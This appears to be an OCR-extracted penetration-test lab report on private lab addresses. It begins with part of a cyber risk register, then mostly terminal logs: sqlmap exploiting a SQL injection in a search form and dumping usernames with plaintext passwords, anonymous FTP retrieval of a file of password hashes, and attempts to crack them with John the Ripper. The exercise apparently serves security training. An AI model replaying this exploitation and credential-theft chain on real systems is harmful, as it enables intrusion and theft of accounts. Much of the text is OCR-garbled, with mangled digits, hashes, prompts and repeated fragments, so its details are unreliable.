	Critical
	DLP, encryption, access logging, UEBA
	Data Protection Officer

	R08
	Delayed threat detection
	Insufficient telemetry
	Longer attacker dwell time
	Medium
	High
	High
	SIEM, EDR, centralised logging, 24/7 monitoring
	SOC Manager

	R09
	Insecure remote access
	Excessive VPN/RDP exposure
	Unauthorised internal access
	Medium
	High
	High
	ZTNA, MFA, restricted RDP, network controls
	Network Manager

	R10
	Weak supplier assurance
	Inadequate third-party risk management
	Supply-chain compromise
	Medium
	High
	High
	Vendor assessments, contractual controls, continuous monitoring
	CISO

	R11
	Inadequate incident response
	Unclear roles and procedures
	Increased business disruption
	Medium
	High
	High
	IR plan, playbooks, tabletop exercises
	Incident Response Lead

	R12
	Backup/recovery failure
	Online or untested backups
	Prolonged ransomware disruption
	Medium
	High
	High
	Immutable/offline backups, restoration testing
	IT Operations

	R13
	Security awareness weakness
	Human susceptibility to social engineering
	Credential compromise
	High
	Medium
	High
	Security awareness, phishing simulations, help-desk training
	HR / CISO

	R14
	Insufficient security telemetry
	Incomplete identity/cloud/network logs
	Detection and forensic gaps
	Medium
	High
	High
	SIEM, cloud audit logs, DNS, authentication logs
	SOC Manager

	R15
	Reputational damage
	Public cyber incident
	Customer trust and financial loss
	Medium
	High
	High
	Crisis communications, resilience planning, rapid response
	Executive Management
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-d "search='" \
http://10.10.1.123/results.php
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Example.com — Staff Details - Welcome</title>





image10.png
[

[

</dalv>
</body>
</html>ubuntu@ip-10-16-icurl -s -X PoST \[EEEN
-d "search='" \
http://10.10.1.123/results.php
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Example.com — Staff Details - Welcome</title>
<link rel="stylesheet" type="text/css" href="css/style.css">
</head>

<body>
<div class="wrapper">
<header>
<div class="inner">
Example.com — Staff Details

</div>
</header>
<nav>
<div class="inner">
<ul>
<a href="index.php"><1i>Home</1i></a>
<a href="display.php"><1li>Display All Records</li></a>
<a href="search.php"><1li>Search</1li></a>
<a href="manage.php"><li>Manage</1li></a>
</ul>
</div>
</nav>

<div class="main">
<div class="inner">
<h3>Search results </h3>

0 results
<br /><br />

<button class="btnfloat" onclick="goBack()">Go Back</button>

<script>
function goBack() {
window.history.back();
}
</script>
</div>
</div>

<br /><br />
<div class="clearfix"></div>
<br />

<footer>
<div class="inner">
</div>
</footer>
</div>
</body>
ubuntu@ip-10-16-1-49:~$ sqlmap —u http://10.10.1.123/results.php \FSNIN
—-data="search=test" \
—batch \
—level=2 \
—risk=1
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ubuntu@i,
—dat:
—batch \

6-16-1-49:~$ sqlmap —u http://10.10.1.123/results.php
search=test" \

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey
ot responsible for any misuse or damage caused by this program

[¥] starting @ 12:
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[12:

4:26 /2026-08-12/

[INFO] testing connection to the target URL

[INFO] checking if the target is protected by some kind of WAF/IPS

[INFO] testing if the target URL content is stable

[INFO] target URL content is stable

[INFO] testing if POST parameter 'search' is dynamic

[WARNING] POST parameter 'search' does not appear to be dynamic

[WARNING] heuristic (basic) test shows that POST parameter 'search' might not be injectable
[INFO] testing for SQL injection on POST parameter 'search’

[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery — comment)'

[INFO] testing 'AND boolean-based blind — WHERE or HAVING clause (comment)'

[INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'

[INFO] testing 'Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[INFO] testing 'SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)'
[INFO] testing 'Boolean-based blind - Parameter replace (original value)'

[INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'

[INFO] testing 'Boolean-based blind - Parameter replace (CASE)'

[INFO] testing 'MySQL >= 5.0 boolean-based blind — ORDER BY, GROUP BY clause'

[INFO] testing 'PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause'

[INFO] testing 'MySQL >= 5.0 AND error-based — WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[INFO] testing 'MySQL >= 5.1 AND error-based — WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'

[INFO] testing 'Microsoft SQL Server/Sybase AND error-based — WHERE or HAVING clause (IN)'
[INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT)'
[INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)'
[INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'

[INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[INFO] testing 'MySQL >= 5.1 error-based — PROCEDURE ANALYSE (EXTRACTVALUE)'

[INFO] testing 'MySQL >= 5.8 error-based - Parameter replace (FLOOR)'

[INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'

[INFO] testing 'PostgreSQL error-based - Parameter replace'

[INFO] testing 'Microsoft SQL Server/Sybase error-based - Stacking (EXEC)'

[INFO] testing 'Generic inline queries'

[INFO] testing 'MySQL inline queries'

[INFO] testing 'PostgreSQL inline queries'

[INFO] testing 'Microsoft SQL Server/Sybase inline queries'

[INFO] testing 'Oracle inline queries'

[INFO] testing 'MySQL >= 5.8.12 stacked queries (comment)'

[INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'

[INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'

[INFO] testing 'Microsoft SQL Server/Sybase stacked queries (DECLARE - comment)'

[INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'

[INFO] testing 'MySQL >= 5.8.12 AND time-based blind (query SLEEP)'

[INFO] POST parameter 'search' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (2) and risk (1) values? [¥/n] Y

all applicable local, state and federal laws. Developers assume no liability and are n
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Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=test' AND (SELECT 2385 FROM (SELECT(SLEEP(5)))ghcW) AND 'QLIw'='QLIw

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=test' UNION ALL SELECT NULL,CONCAT(8x716a706a71,8x626c56486c7a564256544e5778726¢49734174646a6d706256497179726e73536T42694571677473, 0x7178767071) ,NULL, NULL NULL, NULL— —

[12:54:48] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 10 (buster)

web application technology: Apache 2.4.38

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

[12:54:48] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/10.10.1.123'
12 1 [WARNING] your sqlmap version is outdated

[*] ending @ 12:54:48 /2026-08-12/

ubuntudip-16-10-1-49:~$ sqlmap -u http://10.10.1.123/results.php \
—data="search=test" \
—batch \

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are n
ot responsible for any misuse or damage caused by this program

[*] starting @ 12:54:51 /2026-08-12/

[12 1] [INFO] resuming back-end DBMS 'mysql’
12 1] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: search (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=test' AND (SELECT 2385 FROM (SELECT(SLEEP(5)))ghcW) AND 'QLIw'='QLIw

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=test' UNION ALL SELECT NULL,CONCAT(8x716a706a71,8x626c56486c7a564256544e5778726¢4973474646a6d706256497179726e73536T42694571677473, 0x7178767071) ,NULL, NULL NULL, NULL— —
[12:54:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[12:54:51] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] Staff
[x] users

[12:
[12

:51] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/10.10.1.123"
1] [WARNING] your sqlmap version is outdated

[*] ending @ 12:54:51 /2026-08-12/

ubuntudip-16-10-1-49:~$ sqlmap -u http://10.10.1.123/results.php \
—data="search=test" \
—batch \
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ubuntu@ip-16-10-1-49:~$ sqlmap -u http://10.10.1.123/results.php \
—data="search=test" \
—batch \

[ —dbs

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are n
ot responsible for any misuse or damage caused by this program

[*] starting @ 12:54:58 /2026-08-12/

8] [INFO] resuming back-end DBMS 'mysql'
8] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: search (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=test' AND (SELECT 2385 FROM (SELECT(SLEEP(5)))ghcW) AND 'QLIw'='QLIw

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=test' UNION ALL SELECT NULL,CONCAT(8x716a706a71,8x626c56486c7a564256544e5778726c49734174646a6d706256497179726e73536F42594571677473, 0x7178767071) ,NULL, NULL, NULL, NULL— —
[12:54:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.8.12 (MariaDB fork)
[12:54:58] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] staff
[*] users

[12:54:58] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/16.10.1.123"
[12:54:58] [WARNING] your sqlmap version is outdated

[*] ending @ 12:54:58 /2026-08-12/

ubuntudip-16-10-1-49:~$ sqlmap -u http://10.10.1.123/results.php \
—data="search=test" \
-D Staff \
—tables \

[ —batch

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are n
ot responsible for any misuse or damage caused by this program

[*] starting @ 12:56:52 /2026-08-12/

[12:55:52] [INFO] resuming back-end DBMS 'mysql'
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[12:55:52] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/10.10.1.123"
[12:55:52] [WARNING] your sqlmap version is outdated

[*] ending @ 12:56:52 /2026-08-12/

ubuntudip-16-10-1-49:~$ sqlmap —u http://10.10.1.123/results.php \
—data="search=test" \
-D users \
—tables \

[ —batch

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are n
ot responsible for any misuse or damage caused by this program

[*] starting @ 12:55:57 /2026-08-12/

[12:55:58] [INFO] resuming back-end DBMS 'mysql'
[12:55:58] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: search (POST)
Type: time-based blind
Title: MySQL >= 5.8.12 AND time-based blind (query SLEEP)
Payload: search=test' AND (SELECT 2385 FROM (SELECT(SLEEP(5)))ghcW) AND 'QLIw'='QLIW

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=test' UNION ALL SELECT NULL,CONCAT(8x716a706a71,8x626c56486c7a564256544e6778726049734174646a6d706256497179726e73536F42594571677473, 0x7178767671) ,NULL, NULL, NULL, NULL— —

[12:55:58] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 10 (buster)

web application technology: Apache 2.4.38

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

[12:55:58] [INFO] fetching tables for database: ‘users'

Database: users

[1 table]

| UserDetails |

et

[12:55:58] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/10.10.1.123"
[12:55:58] [WARNING] your sqlmap version is outdated

[*] ending @ 12:55:58 /2026-08-12/

ubuntu@ip-10-16-1-49:~§ sqlmap -u http://10.10.1.123/results.php \
—data="search=test" \
-D users \
~T TABLE_NAME \
—dump \
[ —batch
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Parameter: search (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=test' AND (SELECT 2385 FROM (SELECT(SLEEP(5)))ghcW) AND 'QLIw'='QLIw

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=test' UNION ALL SELECT NULL,CONCAT(@x716a786a71,@x626c56486c7a564256544e5778726c49734F74646a6d706256497179726e73536T42594571677473,0%7178767671) ,NULL, NULL, NULL,NULL— -

[12:56:04] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 10 (buster)

web application technology: Apache 2.4.38

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

[12:56:04] [INFO] fetching columns for table 'TABLE_NAME' in database 'users'

[12:56:04] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[12:56:04] [WARNING] unable to retrieve column names for table 'TABLE_NAME' in database 'users'

do you want to use common column existence check? [y/N/ql N

[12:56:04] [WARNING] unable to enumerate the columns for table 'TABLE_NAME' in database 'users'

[12:56:04] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/16.10.1.123"
[12:56:04] [WARNING] your sqlmap version is outdated

[*] ending @ 12:56:04 /2026-08-12/

ubuntu@ip-16-10-1-49:~$ sqlmap -u http://10.10.1.123/results.php \
——data="search=test" \
-D users \
~T UserDetails \
—--columns \
—-batch

- — { }
| - {1 It
(b [ =] ]

oo I_I” https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are r
ot responsible for any misuse or damage caused by this program

[*] starting @ 12:56:31 /2026-08-12/
[12:56:31] [INFO] resuming back-end DBMS 'mysql’

[1: 31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: search (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=test' AND (SELECT 2385 FROM (SELECT(SLEEP(5)))ghcW) AND 'QLIw'='QLIw

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=test' UNION ALL SELECT NULL,CONCAT(@x716a766a71,0x626c56486¢7a564256544e5778726c49734T74646a6d706256497179726e73536142594571677473,8x7178767071) ,NULL, NULL, NULL, NULL— -

[12:56:31] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)

web application technology: Apache 2.4.38

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

[12:56:31] [INFO] fetching columns for table 'UserDetails' in database 'users'
Database: users

Table: UserDetails

[6 columns]

ey

| Column | Type





image16.png
web server operating system: Linux Debian 10 (buster)

web application technology: Apache 2.4.38

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

[12:56:31] [INFO] fetching columns for table 'UserDetails' in database 'users'

Database: users
Table: UserDetails
[6 columns]

et
| Type |
ey

| firstname | varchar(3e) |
| id | int(6) unsigned |
| lastname | varchar(3e) |
| password | varchar(2e) |
| reg_date | timestamp |
| username | varchar(3e) |
ey

1] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/10.10.1.123"
1] [WARNING] your sqlmap version is outdated

[x] ending @ 12:56:31 /2026-08-12/

ubuntu@ip-10-16-1-49:~$ sqlmap -u http://10.10.1.123/results.php \
—-data="search=test" \
-D users \
-T UserDetails \
~C usernanme, password \
—dump \
—batch

R i { }
I--l - [
I—I- [H1_I-]

1-Iv. https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are n
ot responsible for any misuse or damage caused by this program

[x] starting @ 12:56:49 /2026-08-12/

[12:56:49] [INFO] resuming back-end DBMS 'mysql’
[12:56:49] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: search (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=test' AND (SELECT 2385 FROM (SELECT(SLEEP(5)))ghcW) AND 'QLIw'='QLIw

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=test' UNION ALL SELECT NULL,CONCAT(0x716a706a71, 0x62656486c7a56426654465778726c49734T74646a60706256497179726e73536T42594571677473,0x7178767071) ,NULL, NULL, NULL, NULL— —

[12:56:49] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 10 (buster)

web application technology: Apache 2.4.38

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

[12:56:49] [INFO] fetching entries of column(s) 'password,username' for table 'UserDetails' in database 'users'

Database: users

Table: UserDetails

[17 entries]

B
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[17 entries]

e

password |

_ e
| marym | 3kfs8ésfd |
| julied | 468sfdfsd2 |
| fredf | 4sfds7sfdl |
| barneyr | RocksOff |
| tome | TcaTheBoyz |
| jerryn | Bem#4gsd |
| wilnaf | Pebbles |
| bettyr | BamBamei |
| chandlerb | UrAGeD! |
| doeyt | Password |
| rachelg | yN72#dsd |
| rossg | ILoveRachel |
| monicag | 3248dsds7s |
| phoebeb | smellycats |
| scoots | YR3BVxxxw87 |
| janitor | Ilovepeepee |
| janitor2 | Hawaii-Five-@ |
e

[12:56:49] [INFO] table 'users.UserDetails' dumped to CSV file '/home/ubuntu/.local/share/sqlmap/output/10.10.1.123/dump/users/UserDetails.csv'
491 [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/10.10.1.123"
49] [WARNING] your sqlmap version is outdated

[*] ending @ 12:56:49 /2026-08-12/

ubuntuQip-10-10-1-49:~§ sqlmap —u http://10.10.1.123/results.php \

--data="search=test" \
-D staff \
--tables \
[ --batch
) [ 1 }
- -l - [§1 [
R R R |
JIV.. |_I” https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are n
ot responsible for any misuse or damage caused by this program

[*] starting @ 12:56:56 /2026-08-12/

[12:56:57] [INFO] resuming back-end DBMS 'mysql'
[12:56:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: search (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=test' AND (SELECT 2385 FROM (SELECT(SLEEP(5)))ghcW) AND 'QLIw'='QLIW

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=test' UNION ALL SELECT NULL,CONCAT(@x716a766a71,0x626c56486¢7a564256544e5778726c49734T74646a6d706256497179726e73536142594571677473,8x7178767071) , NULL, NULL, NULL, NULL— -

[12:56:57] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[12:56:57] [INFO] fetching tables for database: 'Staff'
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.
| Staffpetails |
| Users |

—

[12:56:57] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/10.10.1.123"
[12 71 [WARNING] your sqlmap version is outdated

[%] ending @ 12:56:57 /2026-88-12/

ubuntu@ip-18-10-1-49:~$ sqlmap -u http://10.10.1.123/results.php \
—data="search=test" \
-D Staff \
-T Users \
—columns \
[ —batch

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are n
ot responsible for any misuse or damage caused by this program

[*] starting @ 12:57:33 /2026-08-12/

12 3] [INFO] resuming back-end DBMS 'mysql'
[12:57:33] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: search (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=test' AND (SELECT 2385 FROM (SELECT(SLEEP(5)))ghcW) AND 'QLIw'='QLIw

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=test' UNION ALL SELECT NULL,CONCAT(8x716a706a71,8x626c56486c7a564256544e5778726¢49734174646a6d706256497179726e73536T42694571677473, 0x7178767071) ,NULL, NULL NULL, NULL— —

[12:57:33] [INFO] the back-end DBMS is MysQL

web server operating system: Linux Debian 10 (buster)

web application technology: Apache 2.4.38

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

[12:57:33] [INFO] fetching columns for table 'Users' in database 'Staff'
Database: Staff

Table: Users

[3 columns]

| Password | varchar(2s5) |
| UserID | int(6) unsigned |
| Username | varchar(2s5) |

———————

[12:57:33] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/10.10.1.123"
[12:57:33] [WARNING] your sqlmap version is outdated

[*] ending @ 12:57:33 /2026-08-12/

ubuntu@ip-16-10-1-49:~$ sqlmap -u http://10.10.1.123/results.php \
—data="search=test" \
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| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are I
ot responsible for any misuse or damage caused by this program

[*] starting @ 12:57:39 /2026-08-12/

[12:57:39] [INFO] resuming back-end DBMS 'mysql'
[12:57:39] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: search (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=test' AND (SELECT 2385 FROM (SELECT(SLEEP(5)))ghcW) AND 'QLIw'='QLIw

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=test' UNION ALL SELECT NULL,CONCAT(@x716a7@6a71,Bx626c56486c7a564256544e5778726c4973474646a6d706256497179726e73636T42594571677473, 0x7178767671) , NULL, NULL, NULL, NULL— -

[12:57:39] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 10 (buster)

web application technology: Apache 2.4.38

back-end DBMS: MySQL >= 5.8.12 (MariaDB fork)

[12:57:39] [INFO] fetching columns for table 'StaffDetails' in database 'Staff
Database: Staff

Table: StaffDetails

[7 columns]

et
| Column | Type |
B
| position | varchar(10e) |
| email | varchar(se) |
| firstname | varchar(3e) |
| id | int(6) unsigned |
| lastname | varchar(3e) |
| phone | varchar(2e) |
| reg_date | timestamp |
e

91 [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/10.18.1.123"
91 [WARNING] your sqlmap version is outdated

[*] ending @ 12:57:39 /2026-08-12/

{ubuntu@ip-10-10-1-49:~§ ftp 10.10.1.130

Connected to 10.10.1.130.

226 pyftpdlib 1.5.5 ready.

[Name (10.10.1.130:ubuntu): anonymous

331 Username ok, send password.

[Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> binary

200 Type set to: Binary.

ftp> get backup

local: backup remote: backup

229 Entering extended passive mode (|||59727|).

125 Data connection already open. Transfer starting.
100% | okioibokiokiciokokiolokokokiolokokokok ook ook ook oSSRk IOk ROk ook ROk ook ok ok ook ook ook ook ookl | 1062 399.96 KiB/s  00:00 ETA
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229 Entering extended passive mode (||]59727|).

125 Data connection already open. Transfer starting.

100% | okbiorior R RO AR RO RO RO RO RO RO RO RO IR ROk | 1062 399.96 KiB/s  @0:00 ETA
226 Transfer complete.

1062 bytes received in 00:00 (372.12 KiB/s)

[ftp> bye

221 Goodbye.

ubuntu@ip-10-18-1-49:~§ file backup

[cat backup

backup: ASCII text

CREDENTIALS:
office:$6$$9ZYTy.VIBM7cGItVCPL.QZZi2XHOUZINLsiCr/avWTajSPHaws7 . 75192 P4HWLN3GYi05Tosg BdeDGzhq . X.
datacenter: $6$$3QW/J401V3naFDbhuksxRXLrkR61Kokgh . Zx1RFZC20INKMi.)/6F fy1330F tBVCI7S4N1b8v1Dy1F2hG2!
sky : $6$$Ny8IwgIPYq5pHGZay IXmoVRRmiydH7u2JbaTo . H2ZKNGZhF tR . pZb94 . Hje TKIMLyBxwBPUeyzJszcwfHoqepGo
sunset:$6$406THudibTNu. /RSNzquK@QRsbAUUSTHCPR2Qr r1U3FA/SJ07sPDPbP3XCCR/ 1pbgMXS67Y27KtgLZACIq9KZPEKEGBHFLZFSZ9bo/
space: $6$$4NCCOQUP iy fGKHgyhIBgiad01P/FM4. Qul1y TWP28ABX . YuOsiRaiKKU. 4A1HKS9XLXtq8qFUC3W6SCEAL tx/
[ubuntu@ip-10-16-1-49:~§ strings backup

CREDENTIALS:

office: $6$$92YTy.VIOM7cG9tVCPL.QZZi2XHOUZ9hLsiCr/avWTajSPHaws7 . 751923 P4HWLNIGVi05Tog BdeDGzhq. X.

datacenter: $6$$3QW/J401V3naFDbhuksxRXLrkR61Ko4gh . Zx1RFZC20INKMi.J/6F fyl330F tBVCI7S4N1b8V1Dy1F2hG2NENN/

sky: $6$$NyBTwgIPYq5pHGZay IXmoVRRiWydH7u2JbaTo . H2KNGZhFtR . pZb94 . Hje TKIMLyBxwBPUeyzJszcwfHoqepGe

sunset:$6$406THUjdibTNu. /RSNzquK@QRsbAUUSTHCPR2QrrlU3FA/SI07sPDPbP3XCCR/1pbgMXS67Y27KtgLZACIq9KZPEKEGBHFLZFSZ9bo/
space: $68$4NCCOQWPFiy FGKHgyhIBgiad01P/FM4. Qul1y TWP28ABX . YuOsiRaiKKU. 4A1HKS9XLXtq8qFUCIWGSCEAL tx/
ubuNtu@ip-10-16-1-49:~§ cat > ~/sunset_hashes.txt <<'EOF'

office:$6$$9ZYTy .VIBM7cGItVCPL.QZZi2XHOUZOhLsiCr/avWTajSPHaws7 . 75192 P4HWLNIGYi05Tokg BdeDGzhq. X.

datacenter: $6$$3QW/J401V3naFDbhuksxRXLrkR61Ko4gh . Zx1RFZC20INKMi./6F fy1330F tBVCT7S4N1b8v 1Dy 1F2hG2NENN/

sky : $6$$Ny8IwgIPYq5pHGZay IXmoVRRmiydH7u2JbaTo . H2ZKNG7hF tR . pZb94 . HjeTKIMLyBxwBPUeyzJszcwfHoqepGo

sunset:$6$406THudibTNu. /RSNzquK@QRsbAUUSTHCPR2Qr r1U3fA/SI07sPDPbP3XCCR/ 1pbgMXS67Y27KtgLZACIq9KZPEKEGBHFLZFSZ9bo/
space: $6$$4NCCOQUP iy fGKHgyhIBgiad01P/FM4. Qul1y TWP28ABX . YuOsiRaiKKU. 4A1HKS9XLXtq8qFUC3WGSCEAL tx/

[EOF

[ubuntu@ip-10-16-1-49:~§ john --format=sha512crypt —-show ~/sunset_hashes.txt

Unknown ciphertext format name requested

[ubuntu@ip-10-16-1-49:~§ 1s -1h /usr/share/wordlists/rockyou.txtx

1s: cannot access '/usr/share/wordlists/rockyou.txtx': No such file or directory

[ubuntu@ip-16-16-1-49:~$ john --list=formats | tr ',' '\n' | grep -Ei 'crypt|sha512'

Unknown option: "--list=formats

[ubuntu@ip-10-18-1-49:~$ which john

/usr/sbin/john

[ubuntu@ip-10-18-1-49:~$ john

John the Ripper password cracker, version 1.9.0

Copyright (c) 1996-2019 by Solar Designer

Homepage: http://www.openwall.com/john/

N/

Usage: john [OPTIONS] [PASSWORD-FILES]

single “single crack" mode

wordlist=FILE —stdin  wordlist mode, read words from FILE or stdin

Tules enable word mangling rules for wordlist mode

incremental [=MODE] “incremental" mode [using section MODE]

external=MODE external mode or word filter

stdout [=LENGTH] just output candidate passwords [cut at LENGTH]

restore[=NAME] Testore an interrupted session [called NAME]
ion=NAME give a new session the NAME

print status of a session [called NAME]

make a charset, FILE will be overwritten

show cracked passwords

test[=TIME] Tun tests and benchmarks for TIME seconds each

users=[-]LOGIN|UIDL, ..] [do not] load this (these) user(s) only

-161DL, ... ] load users [not] of this (these) group(s) only

-ISHELLL,..] load users with[out] this (these) shell(s) only
salts=[-IN load salts with[out] at least N passwords only
save-memory=LEVEL enable memory saving, at LEVEL 1..3

node=MIN[-MAX]/TOTAL this node's number range out of TOTAL count
fork N processes
force hash type NAME: descrypt/bsdicrypt/mdscrypt/
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Usage: john [OPTIONS] [PASSWORD-FILES]

——single "single crack" mode

—wordlist=FILE —stdin wordlist mode, read words from FILE or stdin
——rules enable word mangling rules for wordlist mode
——incremental[=MODE] "incremental" mode [using section MODE]
—external=MODE external mode or word filter

—stdout[=LENGTH] just output candidate passwords [cut at LENGTH]
—restore[=NAME] restore an interrupted session [called NAME]
——session=NAME give a new session the NAME

—status[=NAME] print status of a session [called NAME]
—make-charset=FILE make a charset, FILE will be overwritten
——show show cracked passwords

——test[=TIME] run tests and benchmarks for TIME seconds each
——users=[-]LOGIN|UID[,..] [do not] load this (these) user(s) only
——groups=[-1GID[,..] load users [not] of this (these) group(s) only
——shells=[-]SHELLL,..] load users with[out] this (these) shell(s) only
—salts=[-IN load salts with[out] at least N passwords only
——save-memory=LEVEL enable memory saving, at LEVEL 1..3
——node=MIN[-MAX]/TOTAL this node's number range out of TOTAL count
—fork=N fork N processes

——format=NAME force hash type NAME: descrypt/bsdicrypt/md5crypt/

bcrypt/LM/AFS/tripcode/dummy/crypt
[ubuntu@ip-16-16-1-49:~$ apt-cache policy john
john:
Installed: 1.9.0-2buildl
Candidate: 1.9.0-2buildl
Version table:
sk 1.9.0-2buildl 500
500 http://us—east-1.ec2.archive.ubuntu.com/ubuntu noble/main amdé4 Packages
